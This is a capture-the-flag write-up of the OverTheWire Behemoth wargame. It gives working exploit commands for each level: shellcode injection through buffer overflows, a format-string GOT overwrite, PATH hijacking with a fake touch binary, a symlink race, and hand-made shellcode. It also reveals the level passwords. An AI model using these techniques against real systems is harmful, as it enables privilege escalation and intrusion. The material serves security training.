Overthewire Behemoth Wargame
Contents
Description:
This wargame deals with a lot of regular vulnerabilities found commonly ‘out
in the wild’. While the game makes no attempts at emulating a real environment
it will teach you how to exploit several of the most common coding mistakes
including buffer overflows, race conditions and privilege escalation.
All the password are stored in /etc/behemoth_pass/behemoth[level].
Level 0

When executing behemoth0, it will tell us to enter the password. By using ltrace, we can see that the password is compared to eatmyshorts. Enter it as our password, and we can get the shell.
Level 0 -> Level 1
By using ltrace, we see it uses gets() to store our input. It may cause buffer overflow.
And we use Checksec.
| RELRO | STACK CANARY | NX | PIE |
|---|---|---|---|
| No RELRO | No canary found | NX disabled | No PIE |
Set our enviornment variable export EGG=$(python -c ‘print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")'), and we can make EIP to the address of $EGG, which contains shellcode.
We need 71 paddings to cover return address using gdb. We can execute (python -c 'print("A"*71+"\x6e\xde\xff\xff")'; cat) | ./behemoth1 to get the flag.
The flag is eimahquuof.
Level 1 -> Level 2
In this challenge, we can see that the program tries to touch a file named with process id.
We can change /usr/bin/touch to our own touch, and we can get the flag.
To do so, we create a folder /tmp/l3o, and execute ln -s /behemoth/behemoth2 /tmp/l3o/behemoth2 to make a symbolic link. We execute echo "cat /etc/behemoth_pass/behemoth3" > touch to create a file named touch, and it gives us flag.
Use chmod +x touch to make it an executable, and export PATH=/tmp/l3o:$PATH to make sure behemoth2 will trigger this touch.
Finally, after ./behemoth2, we can get the flag nieteidiel.
Level 2 -> Level 3
In this challenge, it uses fgets() to ask for identity, and use puts() to say welcome and goodbye.
What we can do to get the flag is to store our shellcode in an environment variable, and with fgets(), we can trigger format string vulnerability to edit the address in function puts(), and make it jumps to our shellcode.
We use objdump -D /behemoth/behemoth3 | less to see where exactly puts() jumps, and the address is 0x080497ac.

Use export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")') to prepare our shellcode, and find its address in 0xffffdee7.
When LOB < HOB, the formula to format string editting is [addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn. LOB is dee7, and HOB is ffff.
Finally, we use (python -c 'print("\xac\x97\x04\x08"+"\xae\x97\x04\x08"+"%57055x%1$hn"+ "%8472x%2$hn")';cat) | /behemoth/behemoth3 to get the shell and flag. That is, we change the content stored at 0x080497ac into 0xffffdee7. When puts() executes, we get to our shellcode.
The flag is ietheishei.
Level 3 -> Level 4
In this challenge, the program will get its pid and see if a file named after its pid is under /tmp. If it does not, it exits. If it does, it will get the contents in that file and print them out.
What we can do is that we start it as a background process, get its pid, and stop it immediately. After creating a symbolic link to the password with the name we need, we continue the process, and it will print out password for us.
|
|
And we can get the flag aizeeshing.
Level 4 -> Level 5
Decompile the program, and we can see that it takes the password and sends to localhost port 1337.
What we need to do is open a tab and listen with nc -lu localhost -p 1337, run ./behemoth5 with another tab, and we can get the flag mayiroeche.
Level 5 -> Level 6
In this challenge, there are two files, behemoth6 and behemoth6_reader.
If we decompile these two files, we can see that behemoth6 will open a process of behemoth6_reader and take its return value to compare with a string HelloKitty.
In behemoth6_reader, it takes shellcode from shellcode.txt and executes it. So we are going to put shellcode which print out HelloKitty in shellcode.txt.
First, we write the assembly code hello.asm.
|
|
We make it to the executable with nasm -f elf hello.asm, ld -m elf_i386 -s -o hello hello.o. Later we use objdump -d hello to get our shellcode \xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2 \x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff \x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79.
And we can get the shell and flag baquoxuafo.
Level 6 -> Level 7
In this challenge, behemoth7 will zero out all the environment variables and put our arguments into an 512 bytes array. However, it will check if there is non-alphabat character in the array. We can not put our shellcode in the array.
By testing, we know that we need 528 bytes paddings to access return address, so we can use ./behemoth7 $(python -c 'print("A"*528 + "\x50\xd4\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")') to get the shell, we put our shellcode on higher address to prevent scrutinizing.
And we can get the flag pheewij7Ae.
Level 7 -> Level 8
Congratz!! Now fight for your right to eip=0x41414141!!
Author L3o
LastMod 2019-11-15